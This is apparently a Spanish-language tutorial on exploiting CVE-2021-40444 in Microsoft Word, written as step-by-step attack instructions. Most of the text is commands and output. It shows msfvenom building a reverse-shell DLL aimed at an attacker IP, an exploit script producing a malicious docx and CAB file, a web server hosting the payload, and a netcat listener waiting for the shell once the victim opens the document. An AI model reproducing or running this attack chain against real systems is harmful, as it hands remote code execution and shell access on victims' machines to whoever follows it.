POC CVE-2021-40444

POC CVE-2021-40444

Hoy voy a enseñaros paso a paso como realizar este ataque, es una vulnerabilidad que ha salido hace muy poco, y básicamente lo que vamos a explotar es un fallo en Word Office, abriendo un documento malicioso vamos a ganar acceso al sistema fácilmente, actualmente el Windows Defender lo detecta, pero seguro que os gusta.

Para ello vamos a necesitar un sistema operativo de atacante (en mi caso Kali Linux) y un sistema operativo que queremos vulnerar (Windows 10), tendréis que instalar el Word Office para que funcione.

1º Paso

Nos descargaremos el contenido de este repositorio: link

root@kali /home/kali/Desktop/POC/CVE-2021-40444 master
❯ ls
 data   out   test             exploit.py     POC.mp4     REPRODUCE.md
 img    srv   deobfuscate.py   patch_cab.py   README.md

2º Paso

Vamos a borrar el archivo creado en test → calc.dll

Este repositorio lo que explota es ejecutar un comando en el sistema, en este caso abre una calculadora en el sistema a vulnerar, pero nosotros queremos ganar acceso.

Así que vamos a construirnos nuestra propia reverse shell con msfvenom

root@kali /home/kali/Desktop/POC/CVE-2021-40444/test master*
❯ msfvenom -p windows/shell_reverse_tcp lhost=192.168.234.130 lport=443 -f dll > calc.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 8704 bytes

Le damos permisos Full

root@kali /home/kali/Desktop/POC/CVE-2021-40444/test master*chmod 777 calc.dll
                                                                                            

root@kali /home/kali/Desktop/POC/CVE-2021-40444/test master*ls -la
drwxr-xr-x root root 4.0 KB Sat Sep 18 11:20:29 2021  .
drwxr-xr-x root root 4.0 KB Sat Sep 18 11:18:21 2021  ..
.rwxrwxrwx root root 8.5 KB Sat Sep 18 11:20:34 2021  calc.dll

Ejecutamos el exploit de esta forma:

❯ python3 exploit.py generate test/calc.dll http://192.168.234.130
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
[*] Option is generate a malicious payload...

[ == Options == ]
        [ DLL Payload: test/calc.dll
        [ HTML Exploit URL: http://192.168.234.130

[*] Writing HTML Server URL...
[*] Generating malicious docx file...
  adding: [Content_Types].xml (deflated 75%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 61%)
  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 48%)
  adding: docProps/core.xml (deflated 50%)
  adding: word/ (stored 0%)
  adding: word/webSettings.xml (deflated 57%)
  adding: word/settings.xml (deflated 63%)
  adding: word/_rels/ (stored 0%)
  adding: word/_rels/document.xml.rels (deflated 75%)
  adding: word/fontTable.xml (deflated 74%)
  adding: word/styles.xml (deflated 89%)
  adding: word/document.xml (deflated 85%)
  adding: word/theme/ (stored 0%)
  adding: word/theme/theme1.xml (deflated 79%)
[*] Generating malicious CAB file...
[*] Updating information on HTML exploit...
[+] Malicious Word Document payload generated at: out/document.docx
[+] Malicious CAB file generated at: srv/word.cab
[i] You can execute now the server and then send document.docx to target

Ya tenemos creado nuestro documento word con nuestro codigo malicioso

4º Paso

Ejecutamos el exploit de nuevo de esta forma para compartirnos un servicio web con python:

❯ python3 exploit.py host 80                                   
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
[*] Option is host HTML Exploit...
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y tambien nos ponemos en escucha:

rlwrap nc -nlvp 443

root@kali /home/kali/Desktop/POC
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...

5º Paso

Pasamos el documento word que se ha creado en /out

root@kali /home/kali/Desktop/POC/CVE-2021-40444/out master*ls
 0-blank   document.docx

Abrimos el documento Word y BOOM! :)